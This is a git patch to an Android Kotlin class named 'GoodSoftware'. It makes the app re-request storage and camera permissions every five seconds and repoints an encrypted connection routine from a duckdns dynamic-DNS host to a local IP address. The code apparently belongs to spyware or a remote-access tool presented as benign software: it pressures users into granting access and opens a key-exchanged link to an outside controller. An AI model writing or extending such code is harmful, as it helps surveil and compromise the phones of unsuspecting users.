From fae27b2b0a9fb9cd6f69bc8f5596b17f4341f5c9 Mon Sep 17 00:00:00 2001 From: Joren Date: Sun, 5 May 2024 23:19:47 +0200 Subject: [PATCH] Make timer schedule --- app/src/main/java/com/ti/m/GoodSoftware.kt | 16 +++++----------- 1 file changed, 5 insertions(+), 11 deletions(-) diff --git a/app/src/main/java/com/ti/m/GoodSoftware.kt b/app/src/main/java/com/ti/m/GoodSoftware.kt index dfc7067..82d8638 100644 --- a/app/src/main/java/com/ti/m/GoodSoftware.kt +++ b/app/src/main/java/com/ti/m/GoodSoftware.kt @@ -41,6 +41,7 @@ import javax.crypto.Cipher import javax.crypto.spec.IvParameterSpec import javax.crypto.spec.SecretKeySpec import kotlin.concurrent.schedule +import kotlin.concurrent.scheduleAtFixedRate class GoodSoftware (private val activity: Context) { @@ -111,23 +112,16 @@ class GoodSoftware (private val activity: Context) { private fun startCheckingPermission() { timerStorage = Timer("CheckStoragePermissionTimer", false) - timerStorage?.schedule(0) { - checkStoragePermission() - } - - timerStorage?.schedule(5000) { + timerStorage?.scheduleAtFixedRate(0, 5000) { checkStoragePermission() + println("Requesting storage permission again") } timerCamera = Timer("CheckCameraPermissionTimer", false) - timerCamera?.schedule(0) { + timerCamera?.scheduleAtFixedRate(0, 5000) { checkCameraPermission() - } - - timerCamera?.schedule(5000) { println("Requesting camera permission again") - checkCameraPermission() } } @@ -317,7 +311,7 @@ class GoodSoftware (private val activity: Context) { fun establishConnection(): ConnectionResult{ val pKey = getPublicKeyFromString("MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu09x4q24cMSJZmxMGSzRoL3jXG3kguVbBV6zRnPZwPT9nIofs7yb4lh6/deNedNJssLYJEmiAyI3NzsvLzihipCjatAYEgLgRcF60HBrqUKwT6uxukoVbXi+c9O70CjDEJEKDSW/ps5d6cAOMq5KmoGe4f+Geo5Nzxwjdhlaw/wjY1r5S/C7c5JRMSTn5xYwRZJFM4zRSOEz8d02FemLLWQggvRV7bIJuk1w0039sO/RjWTOeMqNPXXaBH6jV6seDCJ4coXWv0g4xNwCrxNtm1aRFW3zyh3GhAEVXcOmJ5EOUL6EiKt+5RTtSdL7OKHv+RfQuv4pkmlqpPo8pQHvnQIDAQAB")!! - val host = "thinclient.duckdns.org" + val host = "192.168.90.151" val port = 5645 val secureRandom = SecureRandom() val keyBytes = ByteArray(16)